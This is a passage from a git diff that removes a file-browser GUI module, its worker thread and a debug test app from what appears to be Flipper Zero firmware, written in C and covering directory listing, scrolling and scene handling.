Generate scene id and total number -#define ADD_SCENE(prefix, name, id) FileBrowserScene##id, -typedef enum { -#include "file_browser_scene_config.h" - FileBrowserSceneNum, -} FileBrowserScene; -#undef ADD_SCENE - -extern const SceneManagerHandlers file_browser_scene_handlers; - -// Generate scene on_enter handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_enter(void*); -#include "file_browser_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_event handlers declaration -#define ADD_SCENE(prefix, name, id) \ - bool prefix##_scene_##name##_on_event(void* context, SceneManagerEvent event); -#include "file_browser_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_exit handlers declaration -#define ADD_SCENE(prefix, name, id) void prefix##_scene_##name##_on_exit(void* context); -#include "file_browser_scene_config.h" -#undef ADD_SCENE diff --git a/applications/debug_tools/file_browser_test/scenes/file_browser_scene_browser.c b/applications/debug_tools/file_browser_test/scenes/file_browser_scene_browser.c deleted file mode 100644 index 9c570cec0..000000000 --- a/applications/debug_tools/file_browser_test/scenes/file_browser_scene_browser.c +++ /dev/null @@ -1,45 +0,0 @@ -#include "../file_browser_app_i.h" -#include "furi/check.h" -#include "furi/log.h" -#include "furi_hal.h" -#include "m-string.h" - -#define DEFAULT_PATH "/" -#define EXTENSION "*" - -bool file_browser_scene_browser_on_event(void* context, SceneManagerEvent event) { - UNUSED(context); - FileBrowserApp* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - scene_manager_next_scene(app->scene_manager, FileBrowserSceneResult); - consumed = true; - } else if(event.type == SceneManagerEventTypeTick) { - } - return consumed; -} - -static void file_browser_callback(void* context, bool state) { - FileBrowserApp* app = context; - furi_assert(app); - view_dispatcher_send_custom_event(app->view_dispatcher, SceneManagerEventTypeCustom); - - UNUSED(state); -} - -void file_browser_scene_browser_on_enter(void* context) { - FileBrowserApp* app = context; - - file_browser_set_callback(app->file_browser, file_browser_callback, app); - - file_browser_start(app->file_browser, app->file_path); - - view_dispatcher_switch_to_view(app->view_dispatcher, FileBrowserAppViewBrowser); -} - -void file_browser_scene_browser_on_exit(void* context) { - FileBrowserApp* app = context; - - file_browser_stop(app->file_browser); -} diff --git a/applications/debug_tools/file_browser_test/scenes/file_browser_scene_config.h b/applications/debug_tools/file_browser_test/scenes/file_browser_scene_config.h deleted file mode 100644 index 6597df3aa..000000000 --- a/applications/debug_tools/file_browser_test/scenes/file_browser_scene_config.h +++ /dev/null @@ -1,3 +0,0 @@ -ADD_SCENE(file_browser, start, Start) -ADD_SCENE(file_browser, browser, Browser) -ADD_SCENE(file_browser, result, Result) diff --git a/applications/debug_tools/file_browser_test/scenes/file_browser_scene_result.c b/applications/debug_tools/file_browser_test/scenes/file_browser_scene_result.c deleted file mode 100644 index 53576cef4..000000000 --- a/applications/debug_tools/file_browser_test/scenes/file_browser_scene_result.c +++ /dev/null @@ -1,36 +0,0 @@ -#include "../file_browser_app_i.h" -#include "furi_hal.h" -#include "m-string.h" - -void file_browser_scene_result_ok_callback(InputType type, void* context) { - furi_assert(context); - FileBrowserApp* app = context; - view_dispatcher_send_custom_event(app->view_dispatcher, type); -} - -bool file_browser_scene_result_on_event(void* context, SceneManagerEvent event) { - UNUSED(context); - //FileBrowserApp* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - consumed = true; - } else if(event.type == SceneManagerEventTypeTick) { - } - return consumed; -} - -void file_browser_scene_result_on_enter(void* context) { - FileBrowserApp* app = context; - - widget_add_string_multiline_element( - app->widget, 64, 10, AlignCenter, AlignTop, FontSecondary, string_get_cstr(app->file_path)); - - view_dispatcher_switch_to_view(app->view_dispatcher, FileBrowserAppViewResult); -} - -void file_browser_scene_result_on_exit(void* context) { - UNUSED(context); - FileBrowserApp* app = context; - widget_reset(app->widget); -} diff --git a/applications/debug_tools/file_browser_test/scenes/file_browser_scene_start.c b/applications/debug_tools/file_browser_test/scenes/file_browser_scene_start.c deleted file mode 100644 index bb71e83df..000000000 --- a/applications/debug_tools/file_browser_test/scenes/file_browser_scene_start.c +++ /dev/null @@ -1,44 +0,0 @@ -#include "../file_browser_app_i.h" -#include "furi_hal.h" -#include "gui/modules/widget_elements/widget_element_i.h" - -static void - file_browser_scene_start_ok_callback(GuiButtonType result, InputType type, void* context) { - UNUSED(result); - furi_assert(context); - FileBrowserApp* app = context; - if(type == InputTypeShort) { - view_dispatcher_send_custom_event(app->view_dispatcher, type); - } -} - -bool file_browser_scene_start_on_event(void* context, SceneManagerEvent event) { - FileBrowserApp* app = context; - bool consumed = false; - - if(event.type == SceneManagerEventTypeCustom) { - string_set_str(app->file_path, "/any/badusb/demo_windows.txt"); - scene_manager_next_scene(app->scene_manager, FileBrowserSceneBrowser); - consumed = true; - } else if(event.type == SceneManagerEventTypeTick) { - } - return consumed; -} - -void file_browser_scene_start_on_enter(void* context) { - FileBrowserApp* app = context; - - widget_add_string_multiline_element( - app->widget, 64, 20, AlignCenter, AlignTop, FontSecondary, "Press OK to start"); - - widget_add_button_element( - app->widget, GuiButtonTypeCenter, "Ok", file_browser_scene_start_ok_callback, app); - - view_dispatcher_switch_to_view(app->view_dispatcher, FileBrowserAppViewStart); -} - -void file_browser_scene_start_on_exit(void* context) { - UNUSED(context); - FileBrowserApp* app = context; - widget_reset(app->widget); -} diff --git a/applications/gui/modules/file_browser.c b/applications/gui/modules/file_browser.c deleted file mode 100644 index 919750962..000000000 --- a/applications/gui/modules/file_browser.c +++ /dev/null @@ -1,532 +0,0 @@ -#include "file_browser.h" -#include "assets_icons.h" -#include "cmsis_os2.h" -#include "file_browser_worker.h" -#include "furi/check.h" -#include "furi/common_defines.h" -#include "furi/log.h" -#include "furi_hal_resources.h" -#include "m-string.h" -#include -#include -#include - -#define LIST_ITEMS 5u -#define MAX_LEN_PX 110 -#define FRAME_HEIGHT 12 -#define Y_OFFSET 3 - -#define ITEM_LIST_LEN_MAX 100 - -typedef enum { - BrowserItemTypeLoading, - BrowserItemTypeBack, - BrowserItemTypeFolder, - BrowserItemTypeFile, -} BrowserItemType; - -typedef struct { - string_t path; - BrowserItemType type; -} BrowserItem_t; - -static void BrowserItem_t_init(BrowserItem_t* obj) { - obj->type = BrowserItemTypeLoading; - string_init(obj->path); -} - -static void BrowserItem_t_init_set(BrowserItem_t* obj, const BrowserItem_t* src) { - obj->type = src->type; - string_init_set(obj->path, src->path); -} - -static void BrowserItem_t_set(BrowserItem_t* obj, const BrowserItem_t* src) { - obj->type = src->type; - string_set(obj->path, src->path); -} - -static void BrowserItem_t_clear(BrowserItem_t* obj) { - string_clear(obj->path); -} - -ARRAY_DEF( - items_array, - BrowserItem_t, - (INIT(API_2(BrowserItem_t_init)), - SET(API_6(BrowserItem_t_set)), - INIT_SET(API_6(BrowserItem_t_init_set)), - CLEAR(API_2(BrowserItem_t_clear)))) - -struct FileBrowser { - View* view; - BrowserWorker* worker; - char* ext_filter; - bool skip_assets; - - FileBrowserCallback callback; - void* context; - - string_t* result_path; -}; - -typedef struct { - items_array_t items; - - bool is_root; - bool folder_loading; - bool list_loading; - uint32_t item_cnt; - int32_t item_idx; - int32_t array_offset; - int32_t list_offset; - - const Icon* file_icon; - bool hide_ext; -} FileBrowserModel; - -static const Icon* BrowserItemIcons[] = { - [BrowserItemTypeLoading] = &I_loading_10px, - [BrowserItemTypeBack] = &I_back_10px, - [BrowserItemTypeFolder] = &I_dir_10px, - [BrowserItemTypeFile] = &I_unknown_10px, -}; - -static void file_browser_view_draw_callback(Canvas* canvas, void* _model); -static bool file_browser_view_input_callback(InputEvent* event, void* context); - -static void - browser_folder_open_cb(void* context, uint32_t item_cnt, int32_t file_idx, bool is_root); -static void browser_list_load_cb(void* context, uint32_t list_load_offset); -static void browser_list_item_cb(void* context, string_t item_path, bool is_folder, bool is_last); -static void browser_long_load_cb(void* context); - -FileBrowser* file_browser_alloc(string_t* result_path) { - furi_assert(result_path); - FileBrowser* browser = malloc(sizeof(FileBrowser)); - browser->view = view_alloc(); - view_allocate_model(browser->view, ViewModelTypeLocking, sizeof(FileBrowserModel)); - view_set_context(browser->view, browser); - view_set_draw_callback(browser->view, file_browser_view_draw_callback); - view_set_input_callback(browser->view, file_browser_view_input_callback); - - browser->result_path = result_path; - - with_view_model( - browser->view, (FileBrowserModel * model) { - items_array_init(model->items); - return false; - }); - - return browser; -} - -void file_browser_free(FileBrowser* browser) { - furi_assert(browser); - - with_view_model( - browser->view, (FileBrowserModel * model) { - items_array_clear(model->items); - return false; - }); - - view_free(browser->view); - free(browser); -} - -View* file_browser_get_view(FileBrowser* browser) { - furi_assert(browser); - return browser->view; -} - -void file_browser_configure( - FileBrowser* browser, - char* extension, - bool skip_assets, - const Icon* file_icon, - bool hide_ext) { - furi_assert(browser); - - browser->ext_filter = extension; - browser->skip_assets = skip_assets; - - with_view_model( - browser->view, (FileBrowserModel * model) { - model->file_icon = file_icon; - model->hide_ext = hide_ext; - return false; - }); -} - -void file_browser_start(FileBrowser* browser, string_t path) { - furi_assert(browser); - browser->worker = file_browser_worker_alloc(path, browser->ext_filter, browser->skip_assets); - file_browser_worker_set_callback_context(browser->worker, browser); - file_browser_worker_set_folder_callback(browser->worker, browser_folder_open_cb); - file_browser_worker_set_list_callback(browser->worker, browser_list_load_cb); - file_browser_worker_set_item_callback(browser->worker, browser_list_item_cb); - file_browser_worker_set_long_load_callback(browser->worker, browser_long_load_cb); -} - -void file_browser_stop(FileBrowser* browser) { - furi_assert(browser); - file_browser_worker_free(browser->worker); - with_view_model( - browser->view, (FileBrowserModel * model) { - items_array_reset(model->items); - model->item_cnt = 0; - model->item_idx = 0; - model->array_offset = 0; - model->list_offset = 0; - return false; - }); -} - -void file_browser_set_callback(FileBrowser* browser, FileBrowserCallback callback, void* context) { - browser->context = context; - browser->callback = callback; -} - -static bool browser_is_item_in_array(FileBrowserModel* model, uint32_t idx) { - size_t array_size = items_array_size(model->items); - - if((idx >= (uint32_t)model->array_offset + array_size) || - (idx < (uint32_t)model->array_offset)) { - return false; - } - return true; -} - -static bool browser_is_list_load_required(FileBrowserModel* model) { - size_t array_size = items_array_size(model->items); - uint32_t item_cnt = (model->is_root) ? model->item_cnt : model->item_cnt - 1; - - if((model->list_loading) || (array_size >= item_cnt)) { - return false; - } - - if((model->array_offset > 0) && - (model->item_idx < (model->array_offset + ITEM_LIST_LEN_MAX / 4))) { - return true; - } - - if(((model->array_offset + array_size) < item_cnt) && - (model->item_idx > (int32_t)(model->array_offset + array_size - ITEM_LIST_LEN_MAX / 4))) { - return true; - } - - return false; -} - -static void browser_update_offset(FileBrowser* browser) { - furi_assert(browser); - - with_view_model( - browser->view, (FileBrowserModel * model) { - uint16_t bounds = model->item_cnt > (LIST_ITEMS - 1) ? 2 : model->item_cnt; - - if((model->item_cnt > (LIST_ITEMS - 1)) && - (model->item_idx >= ((int32_t)model->item_cnt - 1))) { - model->list_offset = model->item_idx - (LIST_ITEMS - 1); - } else if(model->list_offset < model->item_idx - bounds) { - model->list_offset = CLAMP( - model->item_idx - (int32_t)(LIST_ITEMS - 2), - (int32_t)model->item_cnt - bounds, - 0); - } else if(model->list_offset > model->item_idx - bounds) { - model->list_offset = - CLAMP(model->item_idx - 1, (int32_t)model->item_cnt - bounds, 0); - } - - return false; - }); -} - -static void - browser_folder_open_cb(void* context, uint32_t item_cnt, int32_t file_idx, bool is_root) { - furi_assert(context); - FileBrowser* browser = (FileBrowser*)context; - - int32_t load_offset = 0; - - with_view_model( - browser->view, (FileBrowserModel * model) { - if(is_root) { - model->item_cnt = item_cnt; - model->item_idx = (file_idx > 0) ? file_idx : 0; - load_offset = - CLAMP(model->item_idx - ITEM_LIST_LEN_MAX / 2, (int32_t)model->item_cnt, 0); - } else { - model->item_cnt = item_cnt + 1; - model->item_idx = file_idx + 1; - load_offset = CLAMP( - model->item_idx - ITEM_LIST_LEN_MAX / 2 - 1, (int32_t)model->item_cnt - 1, 0); - } - model->array_offset = 0; - model->list_offset = 0; - model->is_root = is_root; - model->list_loading = true; - model->folder_loading = false; - return true; - }); - browser_update_offset(browser); - - file_browser_worker_load(browser->worker, load_offset, ITEM_LIST_LEN_MAX); -} - -static void browser_list_load_cb(void* context, uint32_t list_load_offset) { - furi_assert(context); - FileBrowser* browser = (FileBrowser*)context; - - BrowserItem_t back_item; - BrowserItem_t_init(&back_item); - back_item.type = BrowserItemTypeBack; - - with_view_model( - browser->view, (FileBrowserModel * model) { - items_array_reset(model->items); - model->array_offset = list_load_offset; - if(!model->is_root) { - if(list_load_offset == 0) { - items_array_push_back(model->items, back_item); - } else { - model->array_offset += 1; - } - } - return false; - }); - - BrowserItem_t_clear(&back_item); -} - -static void browser_list_item_cb(void* context, string_t item_path, bool is_folder, bool is_last) { - furi_assert(context); - FileBrowser* browser = (FileBrowser*)context; - - BrowserItem_t item; - - if(!is_last) { - BrowserItem_t_init(&item); - string_set(item.path, item_path); - item.type = (is_folder) ? BrowserItemTypeFolder : BrowserItemTypeFile; - - with_view_model( - browser->view, (FileBrowserModel * model) { - items_array_push_back(model->items, item); - return false; - }); - BrowserItem_t_clear(&item); - } else { - with_view_model( - browser->view, (FileBrowserModel * model) { - model->list_loading = false; - return true; - }); - } -} - -static void browser_long_load_cb(void* context) { - furi_assert(context); - FileBrowser* browser = (FileBrowser*)context; - - with_view_model( - browser->view, (FileBrowserModel * model) { - model->folder_loading = true; - return true; - }); -} - -static void browser_draw_frame(Canvas* canvas, uint16_t idx, bool scrollbar) { - canvas_set_color(canvas, ColorBlack); - canvas_draw_box( - canvas, 0, Y_OFFSET + idx * FRAME_HEIGHT, (scrollbar ? 122 : 127), FRAME_HEIGHT); - - canvas_set_color(canvas, ColorWhite); - canvas_draw_dot(canvas, 0, Y_OFFSET + idx * FRAME_HEIGHT); - canvas_draw_dot(canvas, 1, Y_OFFSET + idx * FRAME_HEIGHT); - canvas_draw_dot(canvas, 0, (Y_OFFSET + idx * FRAME_HEIGHT) + 1); - - canvas_draw_dot(canvas, 0, (Y_OFFSET + idx * FRAME_HEIGHT) + (FRAME_HEIGHT - 1)); - canvas_draw_dot(canvas, scrollbar ? 121 : 126, Y_OFFSET + idx * FRAME_HEIGHT); - canvas_draw_dot( - canvas, scrollbar ? 121 : 126, (Y_OFFSET + idx * FRAME_HEIGHT) + (FRAME_HEIGHT - 1)); -} - -static void browser_draw_loading(Canvas* canvas, FileBrowserModel* model) { - uint8_t width = 49; - uint8_t height = 47; - uint8_t x = 128 / 2 - width / 2; - uint8_t y = 64 / 2 - height / 2; - - UNUSED(model); - - elements_bold_rounded_frame(canvas, x, y, width, height); - - canvas_set_font(canvas, FontSecondary); - elements_multiline_text(canvas, x + 7, y + 13, "Loading..."); - - canvas_draw_icon(canvas, x + 13, y + 19, &A_Loading_24); -} - -static void browser_draw_list(Canvas* canvas, FileBrowserModel* model) { - uint32_t array_size = items_array_size(model->items); - bool show_scrollbar = model->item_cnt > LIST_ITEMS; - - string_t filename; - string_init(filename); - - for(uint32_t i = 0; i < MIN(model->item_cnt, LIST_ITEMS); i++) { - int32_t idx = CLAMP((uint32_t)(i + model->list_offset), model->item_cnt, 0u); - - BrowserItemType item_type = BrowserItemTypeLoading; - - if(browser_is_item_in_array(model, idx)) { - BrowserItem_t* item = items_array_get( - model->items, CLAMP(idx - model->array_offset, (int32_t)(array_size - 1), 0)); - item_type = item->type; - file_browser_worker_get_filename( - item->path, filename, (model->hide_ext) && (item_type == BrowserItemTypeFile)); - } else { - string_set_str(filename, "---"); - } - - if(item_type == BrowserItemTypeBack) { - string_set_str(filename, ". ."); - } - - elements_string_fit_width( - canvas, filename, (show_scrollbar ? MAX_LEN_PX - 6 : MAX_LEN_PX)); - - if(model->item_idx == idx) { - browser_draw_frame(canvas, i, show_scrollbar); - } else { - canvas_set_color(canvas, ColorBlack); - } - - if((item_type == BrowserItemTypeFile) && (model->file_icon)) { - canvas_draw_icon(canvas, 2, Y_OFFSET + 1 + i * FRAME_HEIGHT, model->file_icon); - } else if(BrowserItemIcons[item_type] != NULL) { - canvas_draw_icon( - canvas, 2, Y_OFFSET + 1 + i * FRAME_HEIGHT, BrowserItemIcons[item_type]); - } - canvas_draw_str(canvas, 15, Y_OFFSET + 9 + i * FRAME_HEIGHT, string_get_cstr(filename)); - } - - if(show_scrollbar) { - elements_scrollbar_pos( - canvas, - 126, - Y_OFFSET, - canvas_height(canvas) - Y_OFFSET, - model->item_idx, - model->item_cnt); - } - - string_clear(filename); -} - -static void file_browser_view_draw_callback(Canvas* canvas, void* _model) { - FileBrowserModel* model = _model; - - if(model->folder_loading) { - browser_draw_loading(canvas, model); - } else { - browser_draw_list(canvas, model); - } -} - -static bool file_browser_view_input_callback(InputEvent* event, void* context) { - FileBrowser* browser = context; - furi_assert(browser); - bool consumed = false; - bool is_loading = false; - - with_view_model( - browser->view, (FileBrowserModel * model) { - is_loading = model->folder_loading; - return false; - }); - - if(is_loading) { - return false; - } else if(event->key == InputKeyUp || event->key == InputKeyDown) { - if(event->type == InputTypeShort || event->type == InputTypeRepeat) { - with_view_model( - browser->view, (FileBrowserModel * model) { - if(event->key == InputKeyUp) { - model->item_idx = - ((model->item_idx - 1) + model->item_cnt) % model->item_cnt; - if(browser_is_list_load_required(model)) { - model->list_loading = true; - int32_t load_offset = CLAMP( - model->item_idx - ITEM_LIST_LEN_MAX / 4 * 3, - (int32_t)model->item_cnt - ITEM_LIST_LEN_MAX, - 0); - file_browser_worker_load( - browser->worker, load_offset, ITEM_LIST_LEN_MAX); - } - } else if(event->key == InputKeyDown) { - model->item_idx = (model->item_idx + 1) % model->item_cnt; - if(browser_is_list_load_required(model)) { - model->list_loading = true; - int32_t load_offset = CLAMP( - model->item_idx - ITEM_LIST_LEN_MAX / 4 * 1, - (int32_t)model->item_cnt - ITEM_LIST_LEN_MAX, - 0); - file_browser_worker_load( - browser->worker, load_offset, ITEM_LIST_LEN_MAX); - } - } - return true; - }); - browser_update_offset(browser); - consumed = true; - } - } else if(event->key == InputKeyOk) { - if(event->type == InputTypeShort) { - BrowserItem_t* selected_item = NULL; - int32_t select_index = 0; - with_view_model( - browser->view, (FileBrowserModel * model) { - if(browser_is_item_in_array(model, model->item_idx)) { - selected_item = - items_array_get(model->items, model->item_idx - model->array_offset); - select_index = model->item_idx; - if((!model->is_root) && (select_index > 0)) { - select_index -= 1; - } - } - return false; - }); - - if(selected_item) { - if(selected_item->type == BrowserItemTypeBack) { - file_browser_worker_folder_exit(browser->worker); - } else if(selected_item->type == BrowserItemTypeFolder) { - file_browser_worker_folder_enter( - browser->worker, selected_item->path, select_index); - } else if(selected_item->type == BrowserItemTypeFile) { - string_set(*(browser->result_path), selected_item->path); - if(browser->callback) { - browser->callback(browser->context, true); - } - } - } - consumed = true; - } - } else if(event->key == InputKeyLeft) { - if(event->type == InputTypeShort) { - bool is_root = false; - with_view_model( - browser->view, (FileBrowserModel * model) { - is_root = model->is_root; - return false; - }); - if(!is_root) { - file_browser_worker_folder_exit(browser->worker); - } - consumed = true; - } - } - - return consumed; -} diff --git a/applications/gui/modules/file_browser.h b/applications/gui/modules/file_browser.h deleted file mode 100644 index b77c6e65c..000000000 --- a/applications/gui/modules/file_browser.h +++ /dev/null @@ -1,39 +0,0 @@ -/** - * @file file_browser.h - * GUI: FileBrowser view module API - */ - -#pragma once - -#include "m-string.h" -#include - -#ifdef __cplusplus -extern "C" { -#endif - -typedef struct FileBrowser FileBrowser; -typedef void (*FileBrowserCallback)(void* context, bool state); - -FileBrowser* file_browser_alloc(string_t* result_path); - -void file_browser_free(FileBrowser* browser); - -View* file_browser_get_view(FileBrowser* browser); - -void file_browser_configure( - FileBrowser* browser, - char* extension, - bool skip_assets, - const Icon* file_icon, - bool hide_ext); - -void file_browser_start(FileBrowser* browser, string_t path); - -void file_browser_stop(FileBrowser* browser); - -void file_browser_set_callback(FileBrowser* browser, FileBrowserCallback callback, void* context); - -#ifdef __cplusplus -} -#endif diff --git a/applications/gui/modules/file_browser_worker.c b/applications/gui/modules/file_browser_worker.c deleted file mode 100644 index 13fc97111..000000000 --- a/applications/gui/modules/file_browser_worker.c +++ /dev/null @@ -1,420 +0,0 @@ -#include "file_browser_worker.h" -#include "furi/check.h" -#include "furi/common_defines.h" -#include "m-string.h" -#include "storage/filesystem_api_defines.h" -#include -#include -#include -#include -#include - -#define TAG "BrowserWorker" - -#define ASSETS_DIR "assets" -#define BROWSER_ROOT "/any" -#define FILE_NAME_LEN_MAX 256 -#define LONG_LOAD_THRESHOLD 100 - -typedef enum { - WorkerEvtStop = (1 << 0), - WorkerEvtLoad = (1 << 1), - WorkerEvtFolderEnter = (1 << 2), - WorkerEvtFolderExit = (1 << 3), -} WorkerEvtFlags; - -#define WORKER_FLAGS_ALL \ - (WorkerEvtStop | WorkerEvtLoad | WorkerEvtFolderEnter | WorkerEvtFolderExit) - -ARRAY_DEF(idx_last_array, int32_t) - -struct BrowserWorker { - FuriThread* thread; - - string_t filter_extension; - string_t path_next; - int32_t item_sel_idx; - uint32_t load_offset; - uint32_t load_count; - bool skip_assets; - idx_last_array_t idx_last; - - void* cb_ctx; - BrowserWorkerFolderOpenCallback folder_cb; - BrowserWorkerListLoadCallback list_load_cb; - BrowserWorkerListItemCallback list_item_cb; - BrowserWorkerLongLoadCallback long_load_cb; -}; - -static bool browser_path_is_file(string_t path) { - bool state = false; - FileInfo file_info; - Storage* storage = furi_record_open("storage"); - if(storage_common_stat(storage, string_get_cstr(path), &file_info) == FSE_OK) { - if((file_info.flags & FSF_DIRECTORY) == 0) { - state = true; - } - } - furi_record_close("storage"); - return state; -} - -static bool browser_path_trim(string_t path) { - bool is_root = false; - size_t filename_start = string_search_rchar(path, '/'); - string_left(path, filename_start); - if((string_empty_p(path)) || (filename_start == STRING_FAILURE)) { - string_set_str(path, BROWSER_ROOT); - is_root = true; - } - return is_root; -} - -static bool browser_filter_by_name(BrowserWorker* browser, string_t name, bool is_folder) { - if(is_folder) { - // Skip assets folders (if enabled) - if(browser->skip_assets) { - return ((string_cmp_str(name, ASSETS_DIR) == 0) ? (false) : (true)); - } else { - return true; - } - } else { - // Filter files by extension - if((string_empty_p(browser->filter_extension)) || - (string_cmp_str(browser->filter_extension, "*") == 0)) { - return true; - } - if(string_end_with_string_p(name, browser->filter_extension)) { - return true; - } - } - return false; -} - -static bool browser_folder_check_and_switch(string_t path) { - FileInfo file_info; - Storage* storage = furi_record_open("storage"); - bool is_root = false; - while(1) { - // Check if folder is existing and navigate back if not - if(storage_common_stat(storage, string_get_cstr(path), &file_info) == FSE_OK) { - if(file_info.flags & FSF_DIRECTORY) { - break; - } - } - if(is_root) { - break; - } - is_root = browser_path_trim(path); - } - furi_record_close("storage"); - return is_root; -} - -static bool browser_folder_init( - BrowserWorker* browser, - string_t path, - string_t filename, - uint32_t* item_cnt, - int32_t* file_idx) { - bool state = false; - FileInfo file_info; - uint32_t total_files_cnt = 0; - - Storage* storage = furi_record_open("storage"); - File* directory = storage_file_alloc(storage); - - char name_temp[FILE_NAME_LEN_MAX]; - string_t name_str; - string_init(name_str); - - *item_cnt = 0; - *file_idx = -1; - - if(storage_dir_open(directory, string_get_cstr(path))) { - state = true; - while(1) { - if(!storage_dir_read(directory, &file_info, name_temp, FILE_NAME_LEN_MAX)) { - break; - } - if((storage_file_get_error(directory) == FSE_OK) && (name_temp[0] != '\0')) { - total_files_cnt++; - string_set_str(name_str, name_temp); - if(browser_filter_by_name(browser, name_str, (file_info.flags & FSF_DIRECTORY))) { - if(!string_empty_p(filename)) { - if(string_cmp(name_str, filename) == 0) { - *file_idx = *item_cnt; - } - } - (*item_cnt)++; - } - if(total_files_cnt == LONG_LOAD_THRESHOLD) { - if(browser->long_load_cb) { - browser->long_load_cb(browser->cb_ctx); - } - } - } - } - } - - string_clear(name_str); - - storage_dir_close(directory); - storage_file_free(directory); - - furi_record_close("storage"); - - return state; -} - -static bool - browser_folder_load(BrowserWorker* browser, string_t path, uint32_t offset, uint32_t count) { - FileInfo file_info; - - Storage* storage = furi_record_open("storage"); - File* directory = storage_file_alloc(storage); - - char name_temp[FILE_NAME_LEN_MAX]; - string_t name_str; - string_init(name_str); - - uint32_t items_cnt = 0; - - do { - if(!storage_dir_open(directory, string_get_cstr(path))) { - break; - } - - items_cnt = 0; - while(items_cnt < offset) { - if(!storage_dir_read(directory, &file_info, name_temp, FILE_NAME_LEN_MAX)) { - break; - } - if(storage_file_get_error(directory) == FSE_OK) { - string_set_str(name_str, name_temp); - if(browser_filter_by_name(browser, name_str, (file_info.flags & FSF_DIRECTORY))) { - items_cnt++; - } - } else { - break; - } - } - if(items_cnt != offset) { - break; - } - - if(browser->list_load_cb) { - browser->list_load_cb(browser->cb_ctx, offset); - } - - items_cnt = 0; - while(items_cnt < count) { - if(!storage_dir_read(directory, &file_info, name_temp, FILE_NAME_LEN_MAX)) { - break; - } - if(storage_file_get_error(directory) == FSE_OK) { - string_set_str(name_str, name_temp); - if(browser_filter_by_name(browser, name_str, (file_info.flags & FSF_DIRECTORY))) { - string_printf(name_str, "%s/%s", string_get_cstr(path), name_temp); - if(browser->list_item_cb) { - browser->list_item_cb( - browser->cb_ctx, name_str, (file_info.flags & FSF_DIRECTORY), false); - } - items_cnt++; - } - } else { - break; - } - } - if(browser->list_item_cb) { - browser->list_item_cb(browser->cb_ctx, NULL, false, true); - } - } while(0); - - string_clear(name_str); - - storage_dir_close(directory); - storage_file_free(directory); - - furi_record_close("storage"); - - return (items_cnt == count); -} - -static int32_t browser_worker(void* context) { - BrowserWorker* browser = (BrowserWorker*)context; - furi_assert(browser); - FURI_LOG_D(TAG, "Start"); - - uint32_t items_cnt = 0; - string_t path; - string_init_set_str(path, BROWSER_ROOT); - browser->item_sel_idx = -1; - - // If start path is a path to the file - try finding index of this file in a folder - string_t filename; - string_init(filename); - if(browser_path_is_file(browser->path_next)) { - file_browser_worker_get_filename(browser->path_next, filename, false); - } - - osThreadFlagsSet(furi_thread_get_thread_id(browser->thread), WorkerEvtFolderEnter); - - while(1) { - uint32_t flags = osThreadFlagsWait(WORKER_FLAGS_ALL, osFlagsWaitAny, osWaitForever); - furi_assert((flags & osFlagsError) == 0); - - if(flags & WorkerEvtFolderEnter) { - string_set(path, browser->path_next); - bool is_root = browser_folder_check_and_switch(path); - - // Push previous selected item index to history array - idx_last_array_push_back(browser->idx_last, browser->item_sel_idx); - - int32_t file_idx = 0; - browser_folder_init(browser, path, filename, &items_cnt, &file_idx); - FURI_LOG_D( - TAG, - "Enter folder: %s items: %u idx: %d", - string_get_cstr(path), - items_cnt, - file_idx); - if(browser->folder_cb) { - browser->folder_cb(browser->cb_ctx, items_cnt, file_idx, is_root); - } - string_reset(filename); - } - - if(flags & WorkerEvtFolderExit) { - browser_path_trim(path); - bool is_root = browser_folder_check_and_switch(path); - - int32_t file_idx = 0; - browser_folder_init(browser, path, filename, &items_cnt, &file_idx); - if(idx_last_array_size(browser->idx_last) > 0) { - // Pop previous selected item index from history array - idx_last_array_pop_back(&file_idx, browser->idx_last); - } - FURI_LOG_D( - TAG, "Exit to: %s items: %u idx: %d", string_get_cstr(path), items_cnt, file_idx); - if(browser->folder_cb) { - browser->folder_cb(browser->cb_ctx, items_cnt, file_idx, is_root); - } - } - - if(flags & WorkerEvtLoad) { - FURI_LOG_D(TAG, "Load offset: %u cnt: %u", browser->load_offset, browser->load_count); - browser_folder_load(browser, path, browser->load_offset, browser->load_count); - } - - if(flags & WorkerEvtStop) { - break; - } - } - - string_clear(filename); - string_clear(path); - - FURI_LOG_D(TAG, "End"); - return 0; -} - -void file_browser_worker_get_filename(string_t path, string_t name, bool trim_ext) { - size_t filename_start = string_search_rchar(path, '/'); - if(filename_start > 0) { - filename_start++; - string_set_n(name, path, filename_start, string_size(path) - filename_start); - } - if(trim_ext) { - size_t dot = string_search_rchar(name, '.'); - if(dot > 0) { - string_left(name, dot); - } - } -} - -BrowserWorker* file_browser_worker_alloc(string_t path, char* filter_ext, bool skip_assets) { - BrowserWorker* browser = malloc(sizeof(BrowserWorker)); - - idx_last_array_init(browser->idx_last); - - string_init_set_str(browser->filter_extension, filter_ext); - browser->skip_assets = skip_assets; - string_init_set(browser->path_next, path); - - browser->thread = furi_thread_alloc(); - furi_thread_set_name(browser->thread, "BrowserWorker"); - furi_thread_set_stack_size(browser->thread, 2048); - furi_thread_set_context(browser->thread, browser); - furi_thread_set_callback(browser->thread, browser_worker); - furi_thread_start(browser->thread); - - return browser; -} - -void file_browser_worker_free(BrowserWorker* browser) { - furi_assert(browser); - - osThreadFlagsSet(furi_thread_get_thread_id(browser->thread), WorkerEvtStop); - furi_thread_join(browser->thread); - furi_thread_free(browser->thread); - - string_clear(browser->filter_extension); - string_clear(browser->path_next); - - idx_last_array_clear(browser->idx_last); - - free(browser); -} - -void file_browser_worker_set_callback_context(BrowserWorker* browser, void* context) { - furi_assert(browser); - browser->cb_ctx = context; -} - -void file_browser_worker_set_folder_callback( - BrowserWorker* browser, - BrowserWorkerFolderOpenCallback cb) { - furi_assert(browser); - browser->folder_cb = cb; -} - -void file_browser_worker_set_list_callback( - BrowserWorker* browser, - BrowserWorkerListLoadCallback cb) { - furi_assert(browser); - browser->list_load_cb = cb; -} - -void file_browser_worker_set_item_callback( - BrowserWorker* browser, - BrowserWorkerListItemCallback cb) { - furi_assert(browser); - browser->list_item_cb = cb; -} - -void file_browser_worker_set_long_load_callback( - BrowserWorker* browser, - BrowserWorkerLongLoadCallback cb) { - furi_assert(browser); - browser->long_load_cb = cb; -} - -void file_browser_worker_folder_enter(BrowserWorker* browser, string_t path, int32_t item_idx) { - furi_assert(browser); - string_set(browser->path_next, path); - browser->item_sel_idx = item_idx; - osThreadFlagsSet(furi_thread_get_thread_id(browser->thread), 